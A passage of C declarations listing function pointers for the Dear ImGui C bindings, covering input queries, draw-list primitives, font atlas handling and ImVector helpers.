void (* igCalcListClipping) (int items_count,float items_height,int* out_items_display_start,int* out_items_display_end);
bool (* igBeginChildFrame) (ImGuiID id,const ImVec2 size,ImGuiWindowFlags flags);
void (* igEndChildFrame) (void);
ImVec4 (* igColorConvertU32ToFloat4) (ImU32 in);
ImU32 (* igColorConvertFloat4ToU32) (const ImVec4 in);
int (* igGetKeyIndex) (ImGuiKey imgui_key);
bool (* igIsKeyDown) (int user_key_index);
bool (* igIsKeyPressed) (int user_key_index,bool repeat);
bool (* igIsKeyReleased) (int user_key_index);
int (* igGetKeyPressedAmount) (int key_index,float repeat_delay,float rate);
bool (* igIsMouseDown) (int button);
bool (* igIsAnyMouseDown) (void);
bool (* igIsMouseClicked) (int button,bool repeat);
bool (* igIsMouseDoubleClicked) (int button);
bool (* igIsMouseReleased) (int button);
bool (* igIsMouseDragging) (int button,float lock_threshold);
bool (* igIsMouseHoveringRect) (const ImVec2 r_min,const ImVec2 r_max,bool clip);
bool (* igIsMousePosValid) (const ImVec2* mouse_pos);
ImVec2 (* igGetMousePos) (void);
ImVec2 (* igGetMousePosOnOpeningCurrentPopup) (void);
ImVec2 (* igGetMouseDragDelta) (int button,float lock_threshold);
void (* igResetMouseDragDelta) (int button);
ImGuiMouseCursor (* igGetMouseCursor) (void);
void (* igSetMouseCursor) (ImGuiMouseCursor type);
void (* igCaptureKeyboardFromApp) (bool want_capture_keyboard_value);
void (* igCaptureMouseFromApp) (bool want_capture_mouse_value);
const char* (* igGetClipboardText) (void);
void (* igSetClipboardText) (const char* text);
void (* igLoadIniSettingsFromDisk) (const char* ini_filename);
void (* igLoadIniSettingsFromMemory) (const char* ini_data,size_t ini_size);
void (* igSaveIniSettingsToDisk) (const char* ini_filename);
const char* (* igSaveIniSettingsToMemory) (size_t* out_ini_size);
void (* igSetAllocatorFunctions) (void*(*alloc_func)(size_t sz,void* user_data),void(*free_func)(void* ptr,void* user_data),void* user_data);
void* (* igMemAlloc) (size_t size);
void (* igMemFree) (void* ptr);
ImGuiStyle* (* ImGuiStyle_ImGuiStyle) (void);
void (* ImGuiStyle_destroy) (ImGuiStyle* self);
void (* ImGuiStyle_ScaleAllSizes) (ImGuiStyle* self,float scale_factor);
void (* ImGuiIO_AddInputCharacter) (ImGuiIO* self,ImWchar c);
void (* ImGuiIO_AddInputCharactersUTF8) (ImGuiIO* self,const char* str);
void (* ImGuiIO_ClearInputCharacters) (ImGuiIO* self);
ImGuiIO* (* ImGuiIO_ImGuiIO) (void);
void (* ImGuiIO_destroy) (ImGuiIO* self);
ImGuiInputTextCallbackData* (* ImGuiInputTextCallbackData_ImGuiInputTextCallbackData) (void);
void (* ImGuiInputTextCallbackData_destroy) (ImGuiInputTextCallbackData* self);
void (* ImGuiInputTextCallbackData_DeleteChars) (ImGuiInputTextCallbackData* self,int pos,int bytes_count);
void (* ImGuiInputTextCallbackData_InsertChars) (ImGuiInputTextCallbackData* self,int pos,const char* text,const char* text_end);
bool (* ImGuiInputTextCallbackData_HasSelection) (ImGuiInputTextCallbackData* self);
ImGuiPayload* (* ImGuiPayload_ImGuiPayload) (void);
void (* ImGuiPayload_destroy) (ImGuiPayload* self);
void (* ImGuiPayload_Clear) (ImGuiPayload* self);
bool (* ImGuiPayload_IsDataType) (ImGuiPayload* self,const char* type);
bool (* ImGuiPayload_IsPreview) (ImGuiPayload* self);
bool (* ImGuiPayload_IsDelivery) (ImGuiPayload* self);
ImGuiOnceUponAFrame* (* ImGuiOnceUponAFrame_ImGuiOnceUponAFrame) (void);
void (* ImGuiOnceUponAFrame_destroy) (ImGuiOnceUponAFrame* self);
ImGuiTextFilter* (* ImGuiTextFilter_ImGuiTextFilter) (const char* default_filter);
void (* ImGuiTextFilter_destroy) (ImGuiTextFilter* self);
bool (* ImGuiTextFilter_Draw) (ImGuiTextFilter* self,const char* label,float width);
bool (* ImGuiTextFilter_PassFilter) (ImGuiTextFilter* self,const char* text,const char* text_end);
void (* ImGuiTextFilter_Build) (ImGuiTextFilter* self);
void (* ImGuiTextFilter_Clear) (ImGuiTextFilter* self);
bool (* ImGuiTextFilter_IsActive) (ImGuiTextFilter* self);
TextRange* (* TextRange_TextRange) (void);
void (* TextRange_destroy) (TextRange* self);
TextRange* (* TextRange_TextRangeStr) (const char* _b,const char* _e);
const char* (* TextRange_begin) (TextRange* self);
const char* (* TextRange_end) (TextRange* self);
bool (* TextRange_empty) (TextRange* self);
void (* TextRange_split) (TextRange* self,char separator,ImVector_TextRange* out);
ImGuiTextBuffer* (* ImGuiTextBuffer_ImGuiTextBuffer) (void);
void (* ImGuiTextBuffer_destroy) (ImGuiTextBuffer* self);
const char* (* ImGuiTextBuffer_begin) (ImGuiTextBuffer* self);
const char* (* ImGuiTextBuffer_end) (ImGuiTextBuffer* self);
int (* ImGuiTextBuffer_size) (ImGuiTextBuffer* self);
bool (* ImGuiTextBuffer_empty) (ImGuiTextBuffer* self);
void (* ImGuiTextBuffer_clear) (ImGuiTextBuffer* self);
void (* ImGuiTextBuffer_reserve) (ImGuiTextBuffer* self,int capacity);
const char* (* ImGuiTextBuffer_c_str) (ImGuiTextBuffer* self);
void (* ImGuiTextBuffer_append) (ImGuiTextBuffer* self,const char* str,const char* str_end);
void (* ImGuiTextBuffer_appendfv) (ImGuiTextBuffer* self,const char* fmt,va_list args);
Pair* (* Pair_PairInt) (ImGuiID _key,int _val_i);
void (* Pair_destroy) (Pair* self);
Pair* (* Pair_PairFloat) (ImGuiID _key,float _val_f);
Pair* (* Pair_PairPtr) (ImGuiID _key,void* _val_p);
void (* ImGuiStorage_Clear) (ImGuiStorage* self);
int (* ImGuiStorage_GetInt) (ImGuiStorage* self,ImGuiID key,int default_val);
void (* ImGuiStorage_SetInt) (ImGuiStorage* self,ImGuiID key,int val);
bool (* ImGuiStorage_GetBool) (ImGuiStorage* self,ImGuiID key,bool default_val);
void (* ImGuiStorage_SetBool) (ImGuiStorage* self,ImGuiID key,bool val);
float (* ImGuiStorage_GetFloat) (ImGuiStorage* self,ImGuiID key,float default_val);
void (* ImGuiStorage_SetFloat) (ImGuiStorage* self,ImGuiID key,float val);
void* (* ImGuiStorage_GetVoidPtr) (ImGuiStorage* self,ImGuiID key);
void (* ImGuiStorage_SetVoidPtr) (ImGuiStorage* self,ImGuiID key,void* val);
int* (* ImGuiStorage_GetIntRef) (ImGuiStorage* self,ImGuiID key,int default_val);
bool* (* ImGuiStorage_GetBoolRef) (ImGuiStorage* self,ImGuiID key,bool default_val);
float* (* ImGuiStorage_GetFloatRef) (ImGuiStorage* self,ImGuiID key,float default_val);
void** (* ImGuiStorage_GetVoidPtrRef) (ImGuiStorage* self,ImGuiID key,void* default_val);
void (* ImGuiStorage_SetAllInt) (ImGuiStorage* self,int val);
void (* ImGuiStorage_BuildSortByKey) (ImGuiStorage* self);
ImGuiListClipper* (* ImGuiListClipper_ImGuiListClipper) (int items_count,float items_height);
void (* ImGuiListClipper_destroy) (ImGuiListClipper* self);
bool (* ImGuiListClipper_Step) (ImGuiListClipper* self);
void (* ImGuiListClipper_Begin) (ImGuiListClipper* self,int items_count,float items_height);
void (* ImGuiListClipper_End) (ImGuiListClipper* self);
ImColor* (* ImColor_ImColor) (void);
void (* ImColor_destroy) (ImColor* self);
ImColor* (* ImColor_ImColorInt) (int r,int g,int b,int a);
ImColor* (* ImColor_ImColorU32) (ImU32 rgba);
ImColor* (* ImColor_ImColorFloat) (float r,float g,float b,float a);
ImColor* (* ImColor_ImColorVec4) (const ImVec4 col);
void (* ImColor_SetHSV) (ImColor* self,float h,float s,float v,float a);
ImColor (* ImColor_HSV) (ImColor* self,float h,float s,float v,float a);
ImDrawCmd* (* ImDrawCmd_ImDrawCmd) (void);
void (* ImDrawCmd_destroy) (ImDrawCmd* self);
ImDrawList* (* ImDrawList_ImDrawList) (const ImDrawListSharedData* shared_data);
void (* ImDrawList_destroy) (ImDrawList* self);
void (* ImDrawList_PushClipRect) (ImDrawList* self,ImVec2 clip_rect_min,ImVec2 clip_rect_max,bool intersect_with_current_clip_rect);
void (* ImDrawList_PushClipRectFullScreen) (ImDrawList* self);
void (* ImDrawList_PopClipRect) (ImDrawList* self);
void (* ImDrawList_PushTextureID) (ImDrawList* self,ImTextureID texture_id);
void (* ImDrawList_PopTextureID) (ImDrawList* self);
ImVec2 (* ImDrawList_GetClipRectMin) (ImDrawList* self);
ImVec2 (* ImDrawList_GetClipRectMax) (ImDrawList* self);
void (* ImDrawList_AddLine) (ImDrawList* self,const ImVec2 a,const ImVec2 b,ImU32 col,float thickness);
void (* ImDrawList_AddRect) (ImDrawList* self,const ImVec2 a,const ImVec2 b,ImU32 col,float rounding,int rounding_corners_flags,float thickness);
void (* ImDrawList_AddRectFilled) (ImDrawList* self,const ImVec2 a,const ImVec2 b,ImU32 col,float rounding,int rounding_corners_flags);
void (* ImDrawList_AddRectFilledMultiColor) (ImDrawList* self,const ImVec2 a,const ImVec2 b,ImU32 col_upr_left,ImU32 col_upr_right,ImU32 col_bot_right,ImU32 col_bot_left);
void (* ImDrawList_AddQuad) (ImDrawList* self,const ImVec2 a,const ImVec2 b,const ImVec2 c,const ImVec2 d,ImU32 col,float thickness);
void (* ImDrawList_AddQuadFilled) (ImDrawList* self,const ImVec2 a,const ImVec2 b,const ImVec2 c,const ImVec2 d,ImU32 col);
void (* ImDrawList_AddTriangle) (ImDrawList* self,const ImVec2 a,const ImVec2 b,const ImVec2 c,ImU32 col,float thickness);
void (* ImDrawList_AddTriangleFilled) (ImDrawList* self,const ImVec2 a,const ImVec2 b,const ImVec2 c,ImU32 col);
void (* ImDrawList_AddCircle) (ImDrawList* self,const ImVec2 centre,float radius,ImU32 col,int num_segments,float thickness);
void (* ImDrawList_AddCircleFilled) (ImDrawList* self,const ImVec2 centre,float radius,ImU32 col,int num_segments);
void (* ImDrawList_AddText) (ImDrawList* self,const ImVec2 pos,ImU32 col,const char* text_begin,const char* text_end);
void (* ImDrawList_AddTextFontPtr) (ImDrawList* self,const ImFont* font,float font_size,const ImVec2 pos,ImU32 col,const char* text_begin,const char* text_end,float wrap_width,const ImVec4* cpu_fine_clip_rect);
void (* ImDrawList_AddImage) (ImDrawList* self,ImTextureID user_texture_id,const ImVec2 a,const ImVec2 b,const ImVec2 uv_a,const ImVec2 uv_b,ImU32 col);
void (* ImDrawList_AddImageQuad) (ImDrawList* self,ImTextureID user_texture_id,const ImVec2 a,const ImVec2 b,const ImVec2 c,const ImVec2 d,const ImVec2 uv_a,const ImVec2 uv_b,const ImVec2 uv_c,const ImVec2 uv_d,ImU32 col);
void (* ImDrawList_AddImageRounded) (ImDrawList* self,ImTextureID user_texture_id,const ImVec2 a,const ImVec2 b,const ImVec2 uv_a,const ImVec2 uv_b,ImU32 col,float rounding,int rounding_corners);
void (* ImDrawList_AddPolyline) (ImDrawList* self,const ImVec2* points,int num_points,ImU32 col,bool closed,float thickness);
void (* ImDrawList_AddConvexPolyFilled) (ImDrawList* self,const ImVec2* points,int num_points,ImU32 col);
void (* ImDrawList_AddBezierCurve) (ImDrawList* self,const ImVec2 pos0,const ImVec2 cp0,const ImVec2 cp1,const ImVec2 pos1,ImU32 col,float thickness,int num_segments);
void (* ImDrawList_PathClear) (ImDrawList* self);
void (* ImDrawList_PathLineTo) (ImDrawList* self,const ImVec2 pos);
void (* ImDrawList_PathLineToMergeDuplicate) (ImDrawList* self,const ImVec2 pos);
void (* ImDrawList_PathFillConvex) (ImDrawList* self,ImU32 col);
void (* ImDrawList_PathStroke) (ImDrawList* self,ImU32 col,bool closed,float thickness);
void (* ImDrawList_PathArcTo) (ImDrawList* self,const ImVec2 centre,float radius,float a_min,float a_max,int num_segments);
void (* ImDrawList_PathArcToFast) (ImDrawList* self,const ImVec2 centre,float radius,int a_min_of_12,int a_max_of_12);
void (* ImDrawList_PathBezierCurveTo) (ImDrawList* self,const ImVec2 p1,const ImVec2 p2,const ImVec2 p3,int num_segments);
void (* ImDrawList_PathRect) (ImDrawList* self,const ImVec2 rect_min,const ImVec2 rect_max,float rounding,int rounding_corners_flags);
void (* ImDrawList_ChannelsSplit) (ImDrawList* self,int channels_count);
void (* ImDrawList_ChannelsMerge) (ImDrawList* self);
void (* ImDrawList_ChannelsSetCurrent) (ImDrawList* self,int channel_index);
void (* ImDrawList_AddCallback) (ImDrawList* self,ImDrawCallback callback,void* callback_data);
void (* ImDrawList_AddDrawCmd) (ImDrawList* self);
ImDrawList* (* ImDrawList_CloneOutput) (ImDrawList* self);
void (* ImDrawList_Clear) (ImDrawList* self);
void (* ImDrawList_ClearFreeMemory) (ImDrawList* self);
void (* ImDrawList_PrimReserve) (ImDrawList* self,int idx_count,int vtx_count);
void (* ImDrawList_PrimRect) (ImDrawList* self,const ImVec2 a,const ImVec2 b,ImU32 col);
void (* ImDrawList_PrimRectUV) (ImDrawList* self,const ImVec2 a,const ImVec2 b,const ImVec2 uv_a,const ImVec2 uv_b,ImU32 col);
void (* ImDrawList_PrimQuadUV) (ImDrawList* self,const ImVec2 a,const ImVec2 b,const ImVec2 c,const ImVec2 d,const ImVec2 uv_a,const ImVec2 uv_b,const ImVec2 uv_c,const ImVec2 uv_d,ImU32 col);
void (* ImDrawList_PrimWriteVtx) (ImDrawList* self,const ImVec2 pos,const ImVec2 uv,ImU32 col);
void (* ImDrawList_PrimWriteIdx) (ImDrawList* self,ImDrawIdx idx);
void (* ImDrawList_PrimVtx) (ImDrawList* self,const ImVec2 pos,const ImVec2 uv,ImU32 col);
void (* ImDrawList_UpdateClipRect) (ImDrawList* self);
void (* ImDrawList_UpdateTextureID) (ImDrawList* self);
ImDrawData* (* ImDrawData_ImDrawData) (void);
void (* ImDrawData_destroy) (ImDrawData* self);
void (* ImDrawData_Clear) (ImDrawData* self);
void (* ImDrawData_DeIndexAllBuffers) (ImDrawData* self);
void (* ImDrawData_ScaleClipRects) (ImDrawData* self,const ImVec2 fb_scale);
ImFontConfig* (* ImFontConfig_ImFontConfig) (void);
void (* ImFontConfig_destroy) (ImFontConfig* self);
ImFontGlyphRangesBuilder* (* ImFontGlyphRangesBuilder_ImFontGlyphRangesBuilder) (void);
void (* ImFontGlyphRangesBuilder_destroy) (ImFontGlyphRangesBuilder* self);
bool (* ImFontGlyphRangesBuilder_GetBit) (ImFontGlyphRangesBuilder* self,int n);
void (* ImFontGlyphRangesBuilder_SetBit) (ImFontGlyphRangesBuilder* self,int n);
void (* ImFontGlyphRangesBuilder_AddChar) (ImFontGlyphRangesBuilder* self,ImWchar c);
void (* ImFontGlyphRangesBuilder_AddText) (ImFontGlyphRangesBuilder* self,const char* text,const char* text_end);
void (* ImFontGlyphRangesBuilder_AddRanges) (ImFontGlyphRangesBuilder* self,const ImWchar* ranges);
void (* ImFontGlyphRangesBuilder_BuildRanges) (ImFontGlyphRangesBuilder* self,ImVector_ImWchar* out_ranges);
ImFontAtlas* (* ImFontAtlas_ImFontAtlas) (void);
void (* ImFontAtlas_destroy) (ImFontAtlas* self);
ImFont* (* ImFontAtlas_AddFont) (ImFontAtlas* self,const ImFontConfig* font_cfg);
ImFont* (* ImFontAtlas_AddFontDefault) (ImFontAtlas* self,const ImFontConfig* font_cfg);
ImFont* (* ImFontAtlas_AddFontFromFileTTF) (ImFontAtlas* self,const char* filename,float size_pixels,const ImFontConfig* font_cfg,const ImWchar* glyph_ranges);
ImFont* (* ImFontAtlas_AddFontFromMemoryTTF) (ImFontAtlas* self,void* font_data,int font_size,float size_pixels,const ImFontConfig* font_cfg,const ImWchar* glyph_ranges);
ImFont* (* ImFontAtlas_AddFontFromMemoryCompressedTTF) (ImFontAtlas* self,const void* compressed_font_data,int compressed_font_size,float size_pixels,const ImFontConfig* font_cfg,const ImWchar* glyph_ranges);
ImFont* (* ImFontAtlas_AddFontFromMemoryCompressedBase85TTF) (ImFontAtlas* self,const char* compressed_font_data_base85,float size_pixels,const ImFontConfig* font_cfg,const ImWchar* glyph_ranges);
void (* ImFontAtlas_ClearInputData) (ImFontAtlas* self);
void (* ImFontAtlas_ClearTexData) (ImFontAtlas* self);
void (* ImFontAtlas_ClearFonts) (ImFontAtlas* self);
void (* ImFontAtlas_Clear) (ImFontAtlas* self);
bool (* ImFontAtlas_Build) (ImFontAtlas* self);
void (* ImFontAtlas_GetTexDataAsAlpha8) (ImFontAtlas* self,unsigned char** out_pixels,int* out_width,int* out_height,int* out_bytes_per_pixel);
void (* ImFontAtlas_GetTexDataAsRGBA32) (ImFontAtlas* self,unsigned char** out_pixels,int* out_width,int* out_height,int* out_bytes_per_pixel);
bool (* ImFontAtlas_IsBuilt) (ImFontAtlas* self);
void (* ImFontAtlas_SetTexID) (ImFontAtlas* self,ImTextureID id);
const ImWchar* (* ImFontAtlas_GetGlyphRangesDefault) (ImFontAtlas* self);
const ImWchar* (* ImFontAtlas_GetGlyphRangesKorean) (ImFontAtlas* self);
const ImWchar* (* ImFontAtlas_GetGlyphRangesJapanese) (ImFontAtlas* self);
const ImWchar* (* ImFontAtlas_GetGlyphRangesChineseFull) (ImFontAtlas* self);
const ImWchar* (* ImFontAtlas_GetGlyphRangesChineseSimplifiedCommon) (ImFontAtlas* self);
const ImWchar* (* ImFontAtlas_GetGlyphRangesCyrillic) (ImFontAtlas* self);
const ImWchar* (* ImFontAtlas_GetGlyphRangesThai) (ImFontAtlas* self);
const ImWchar* (* ImFontAtlas_GetGlyphRangesVietnamese) (ImFontAtlas* self);
CustomRect* (* CustomRect_CustomRect) (void);
void (* CustomRect_destroy) (CustomRect* self);
bool (* CustomRect_IsPacked) (CustomRect* self);
int (* ImFontAtlas_AddCustomRectRegular) (ImFontAtlas* self,unsigned int id,int width,int height);
int (* ImFontAtlas_AddCustomRectFontGlyph) (ImFontAtlas* self,ImFont* font,ImWchar id,int width,int height,float advance_x,const ImVec2 offset);
const CustomRect* (* ImFontAtlas_GetCustomRectByIndex) (ImFontAtlas* self,int index);
void (* ImFontAtlas_CalcCustomRectUV) (ImFontAtlas* self,const CustomRect* rect,ImVec2* out_uv_min,ImVec2* out_uv_max);
bool (* ImFontAtlas_GetMouseCursorTexData) (ImFontAtlas* self,ImGuiMouseCursor cursor,ImVec2* out_offset,ImVec2* out_size,ImVec2 out_uv_border[2],ImVec2 out_uv_fill[2]);
ImFont* (* ImFont_ImFont) (void);
void (* ImFont_destroy) (ImFont* self);
const ImFontGlyph* (* ImFont_FindGlyph) (ImFont* self,ImWchar c);
const ImFontGlyph* (* ImFont_FindGlyphNoFallback) (ImFont* self,ImWchar c);
float (* ImFont_GetCharAdvance) (ImFont* self,ImWchar c);
bool (* ImFont_IsLoaded) (ImFont* self);
const char* (* ImFont_GetDebugName) (ImFont* self);
ImVec2 (* ImFont_CalcTextSizeA) (ImFont* self,float size,float max_width,float wrap_width,const char* text_begin,const char* text_end,const char** remaining);
const char* (* ImFont_CalcWordWrapPositionA) (ImFont* self,float scale,const char* text,const char* text_end,float wrap_width);
void (* ImFont_RenderChar) (ImFont* self,ImDrawList* draw_list,float size,ImVec2 pos,ImU32 col,ImWchar c);
void (* ImFont_RenderText) (ImFont* self,ImDrawList* draw_list,float size,ImVec2 pos,ImU32 col,const ImVec4 clip_rect,const char* text_begin,const char* text_end,float wrap_width,bool cpu_fine_clip);
void (* ImFont_BuildLookupTable) (ImFont* self);
void (* ImFont_ClearOutputData) (ImFont* self);
void (* ImFont_GrowIndex) (ImFont* self,int new_size);
void (* ImFont_AddGlyph) (ImFont* self,ImWchar c,float x0,float y0,float x1,float y1,float u0,float v0,float u1,float v1,float advance_x);
void (* ImFont_AddRemapChar) (ImFont* self,ImWchar dst,ImWchar src,bool overwrite_dst);
void (* ImFont_SetFallbackChar) (ImFont* self,ImWchar c);
void (* igGetWindowPos_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetWindowPos_nonUDT2) (void);
void (* igGetWindowSize_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetWindowSize_nonUDT2) (void);
void (* igGetContentRegionMax_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetContentRegionMax_nonUDT2) (void);
void (* igGetContentRegionAvail_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetContentRegionAvail_nonUDT2) (void);
void (* igGetWindowContentRegionMin_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetWindowContentRegionMin_nonUDT2) (void);
void (* igGetWindowContentRegionMax_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetWindowContentRegionMax_nonUDT2) (void);
void (* igGetFontTexUvWhitePixel_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetFontTexUvWhitePixel_nonUDT2) (void);
void (* igGetCursorPos_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetCursorPos_nonUDT2) (void);
void (* igGetCursorStartPos_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetCursorStartPos_nonUDT2) (void);
void (* igGetCursorScreenPos_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetCursorScreenPos_nonUDT2) (void);
void (* igGetItemRectMin_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetItemRectMin_nonUDT2) (void);
void (* igGetItemRectMax_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetItemRectMax_nonUDT2) (void);
void (* igGetItemRectSize_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetItemRectSize_nonUDT2) (void);
void (* igCalcTextSize_nonUDT) (ImVec2 *pOut,const char* text,const char* text_end,bool hide_text_after_double_hash,float wrap_width);
ImVec2_Simple (* igCalcTextSize_nonUDT2) (const char* text,const char* text_end,bool hide_text_after_double_hash,float wrap_width);
void (* igColorConvertU32ToFloat4_nonUDT) (ImVec4 *pOut,ImU32 in);
ImVec4_Simple (* igColorConvertU32ToFloat4_nonUDT2) (ImU32 in);
void (* igGetMousePos_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetMousePos_nonUDT2) (void);
void (* igGetMousePosOnOpeningCurrentPopup_nonUDT) (ImVec2 *pOut);
ImVec2_Simple (* igGetMousePosOnOpeningCurrentPopup_nonUDT2) (void);
void (* igGetMouseDragDelta_nonUDT) (ImVec2 *pOut,int button,float lock_threshold);
ImVec2_Simple (* igGetMouseDragDelta_nonUDT2) (int button,float lock_threshold);
void (* ImColor_HSV_nonUDT) (ImColor *pOut,ImColor* self,float h,float s,float v,float a);
ImColor_Simple (* ImColor_HSV_nonUDT2) (ImColor* self,float h,float s,float v,float a);
void (* ImDrawList_GetClipRectMin_nonUDT) (ImVec2 *pOut,ImDrawList* self);
ImVec2_Simple (* ImDrawList_GetClipRectMin_nonUDT2) (ImDrawList* self);
void (* ImDrawList_GetClipRectMax_nonUDT) (ImVec2 *pOut,ImDrawList* self);
ImVec2_Simple (* ImDrawList_GetClipRectMax_nonUDT2) (ImDrawList* self);
void (* ImFont_CalcTextSizeA_nonUDT) (ImVec2 *pOut,ImFont* self,float size,float max_width,float wrap_width,const char* text_begin,const char* text_end,const char** remaining);
ImVec2_Simple (* ImFont_CalcTextSizeA_nonUDT2) (ImFont* self,float size,float max_width,float wrap_width,const char* text_begin,const char* text_end,const char** remaining);
ImVector_float* (* ImVector_float_ImVector_float) (void);
void (* ImVector_float_destroy) (ImVector_float* self);
ImVector_ImWchar* (* ImVector_ImWchar_ImVector_ImWchar) (void);
void (* ImVector_ImWchar_destroy) (ImVector_ImWchar* self);
ImVector_ImFontConfig* (* ImVector_ImFontConfig_ImVector_ImFontConfig) (void);
void (* ImVector_ImFontConfig_destroy) (ImVector_ImFontConfig* self);
ImVector_ImFontGlyph* (* ImVector_ImFontGlyph_ImVector_ImFontGlyph) (void);
void (* ImVector_ImFontGlyph_destroy) (ImVector_ImFontGlyph* self);
ImVector_TextRange* (* ImVector_TextRange_ImVector_TextRange) (void);
void (* ImVector_TextRange_destroy) (ImVector_TextRange* self);
ImVector_CustomRect* (* ImVector_CustomRect_ImVector_CustomRect) (void);
void (* ImVector_CustomRect_destroy) (ImVector_CustomRect* self);
ImVector_ImDrawChannel* (* ImVector_ImDrawChannel_ImVector_ImDrawChannel) (void);
void (* ImVector_ImDrawChannel_destroy) (ImVector_ImDrawChannel* self);
ImVector_char* (* ImVector_char_ImVector_char) (void);
void (* ImVector_char_destroy) (ImVector_char* self);
ImVector_ImTextureID* (* ImVector_ImTextureID_ImVector_ImTextureID) (void);
void (* ImVector_ImTextureID_destroy) (ImVector_ImTextureID* self);
ImVector_ImDrawVert* (* ImVector_ImDrawVert_ImVector_ImDrawVert) (void);
void (* ImVector_ImDrawVert_destroy) (ImVector_ImDrawVert* self);
ImVector_int* (* ImVector_int_ImVector_int) (void);
void (* ImVector_int_destroy) (ImVector_int* self);
ImVector_Pair* (* ImVector_Pair_ImVector_Pair) (void);
void (* ImVector_Pair_destroy) (ImVector_Pair* self);
ImVector_ImFontPtr* (* ImVector_ImFontPtr_ImVector_ImFontPtr) (void);
void (* ImVector_ImFontPtr_destroy) (ImVector_ImFontPtr* self);
ImVector_ImVec4* (* ImVector_ImVec4_ImVector_ImVec4) (void);
void (* ImVector_ImVec4_destroy) (ImVector_ImVec4* self);
ImVector_ImDrawCmd* (* ImVector_ImDrawCmd_ImVector_ImDrawCmd) (void);
void (* ImVector_ImDrawCmd_destroy) (ImVector_ImDrawCmd* self);
ImVector_ImDrawIdx* (* ImVector_ImDrawIdx_ImVector_ImDrawIdx) (void);
void (* ImVector_ImDrawIdx_destroy) (ImVector_ImDrawIdx* self);
ImVector_ImVec2* (* ImVector_ImVec2_ImVector_ImVec2) (void);
void (* ImVector_ImVec2_destroy) (ImVector_ImVec2* self);
ImVector_float* (* ImVector_float_ImVector_floatVector) (const ImVector_float src);
ImVector_ImWchar* (* ImVector_ImWchar_ImVector_ImWcharVector) (const ImVector_ImWchar src);
ImVector_ImFontConfig* (* ImVector_ImFontConfig_ImVector_ImFontConfigVector) (const ImVector_ImFontConfig src);
ImVector_ImFontGlyph* (* ImVector_ImFontGlyph_ImVector_ImFontGlyphVector) (const ImVector_ImFontGlyph src);
ImVector_TextRange* (* ImVector_TextRange_ImVector_TextRangeVector) (const ImVector_TextRange src);
ImVector_CustomRect* (* ImVector_CustomRect_ImVector_CustomRectVector) (const ImVector_CustomRect src);
ImVector_ImDrawChannel* (* ImVector_ImDrawChannel_ImVector_ImDrawChannelVector) (const ImVector_ImDrawChannel src);
ImVector_char* (* ImVector_char_ImVector_charVector) (const ImVector_char src);
ImVector_ImTextureID* (* ImVector_ImTextureID_ImVector_ImTextureIDVector) (const ImVector_ImTextureID src);
ImVector_ImDrawVert* (* ImVector_ImDrawVert_ImVector_ImDrawVertVector) (const ImVector_ImDrawVert src);
ImVector_int* (* ImVector_int_ImVector_intVector) (const ImVector_int src);
ImVector_Pair* (* ImVector_Pair_ImVector_PairVector) (const ImVector_Pair src);
ImVector_ImFontPtr* (* ImVector_ImFontPtr_ImVector_ImFontPtrVector) (const ImVector_ImFontPtr src);
ImVector_ImVec4* (* ImVector_ImVec4_ImVector_ImVec4Vector) (const ImVector_ImVec4 src);
ImVector_ImDrawCmd* (* ImVector_ImDrawCmd_ImVector_ImDrawCmdVector) (const ImVector_ImDrawCmd src);
ImVector_ImDrawIdx* (* ImVector_ImDrawIdx_ImVector_ImDrawIdxVector) (const ImVector_ImDrawIdx src);
ImVector_ImVec2* (* ImVector_ImVec2_ImVector_ImVec2Vector) (const ImVector_ImVec2 src);
bool (* ImVector_float_empty) (const ImVector_float* self);
bool (* ImVector_ImWchar_empty) (const ImVector_ImWchar* self);
bool (* ImVector_ImFontConfig_empty) (const ImVector_ImFontConfig* self);
bool (* ImVector_ImFontGlyph_empty) (const ImVector_ImFontGlyph* self);
bool (* ImVector_TextRange_empty) (const ImVector_TextRange* self);
bool (* ImVector_CustomRect_empty) (const ImVector_CustomRect* self);
bool (* ImVector_ImDrawChannel_empty) (const ImVector_ImDrawChannel* self);
bool (* ImVector_char_empty) (const ImVector_char* self);
bool (* ImVector_ImTextureID_empty) (const ImVector_ImTextureID* self);
bool (* ImVector_ImDrawVert_empty) (const ImVector_ImDrawVert* self);
bool (* ImVector_int_empty) (const ImVector_int* self);
bool (* ImVector_Pair_empty) (const ImVector_Pair* self);
bool (* ImVector_ImFontPtr_empty) (const ImVector_ImFontPtr* self);
bool (* ImVector_ImVec4_empty) (const ImVector_ImVec4* self);
bool (* ImVector_ImDrawCmd_empty) (const ImVector_ImDrawCmd* self);
bool (* ImVector_ImDrawIdx_empty) (const ImVector_ImDrawIdx* self);
bool (* ImVector_ImVec2_empty) (const ImVector_ImVec2* self);
int (* ImVector_float_size) (const ImVector_float* self);
int (* ImVector_ImWchar_size) (const ImVector_ImWchar* self);
int (* ImVector_ImFontConfig_size) (const ImVector_ImFontConfig* self);
int (* ImVector_ImFontGlyph_size) (const ImVector_ImFontGlyph* self);
int (* ImVector_TextRange_size) (const ImVector_TextRange* self);
int (* ImVector_CustomRect_size) (const ImVector_CustomRect* self);
int (* ImVector_ImDrawChannel_size) (const ImVector_ImDrawChannel* self);
int (* ImVector_char_size) (const ImVector_char* self);
int (* ImVector_ImTextureID_size) (const ImVector_ImTextureID* self);
int (* ImVector_ImDrawVert_size) (const ImVector_ImDrawVert* self);
int (* ImVector_int_size) (const ImVector_int* self);
int (* ImVector_Pair_size) (const ImVector_Pair* self);
int (* ImVector_ImFontPtr_size) (const ImVector_ImFontPtr* self);
int (* ImVector_ImVec4_size) (const ImVector_ImVec4* self);
int (* ImVector_ImDrawCmd_size) (const ImVector_ImDrawCmd* self);
int (* ImVector_ImDrawIdx_size) (const ImVector_ImDrawIdx* self);
int (* ImVector_ImVec2_size) (const ImVector_ImVec2* self);
int (* ImVector_float_size_in_bytes) (const ImVector_float* self);
